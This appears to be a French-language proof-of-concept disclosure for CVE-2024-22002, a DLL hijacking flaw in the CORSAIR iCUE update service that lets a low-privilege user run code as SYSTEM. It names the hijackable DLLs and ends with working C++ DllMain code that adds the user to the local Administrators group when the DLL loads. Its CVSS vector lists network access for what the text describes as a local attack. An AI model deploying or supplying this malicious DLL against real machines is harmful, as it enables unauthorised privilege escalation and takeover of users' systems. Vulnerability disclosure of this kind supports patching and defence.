
Exploit de preuve de concept pour CVE-2024-22002, démontrant l'élévation de privilèges locaux via le détournement de DLL dans le service de mise à jour de CORSAIR iCUE pour exécuter du code en tant que SYSTEM.
Une vulnérabilité de détournement de DLL (DLL Hijacking) a été identifiée dans iCUE v5.9.105. Cette vulnérabilité se produit lors du processus de mise à jour, géré par le service « iCUEUpdateService ». Le service lance un processus (« cuepkg.exe ») responsable de l'exécution de la mise à jour, s'exécutant avec les privilèges « NT AUTHORITY\SYSTEM ». Lors du démarrage du processus, il recherche plusieurs DLL dans le répertoire \cuepkg-1.2.6, situé dans le répertoire d'installation d'iCUE. Certaines de ces DLL ne sont pas présentes par défaut, mais comme un utilisateur ordinaire dispose des privilèges nécessaires pour créer des fichiers dans ce répertoire, un attaquant pourrait éventuellement introduire une DLL malveillante dans ce répertoire. Par conséquent, cette DLL malveillante serait chargée par cuepkg.exe avec des privilèges d'administrateur.
Les DLL affectées détectées sont les suivantes :
MSASN1.dllNTASN1.dllprofapi.dllVecteur CVSS : (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
À titre d'exemple, la DLL profapi.dll sera prise.
%INSTALLDIR%cuepkg-1.2.6.Privilèges de l'utilisateur lowpriv avant l'exécution de la DLL malveillante :

Privilèges de l'utilisateur lowpriv après l'exécution de la DLL malveillante :

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}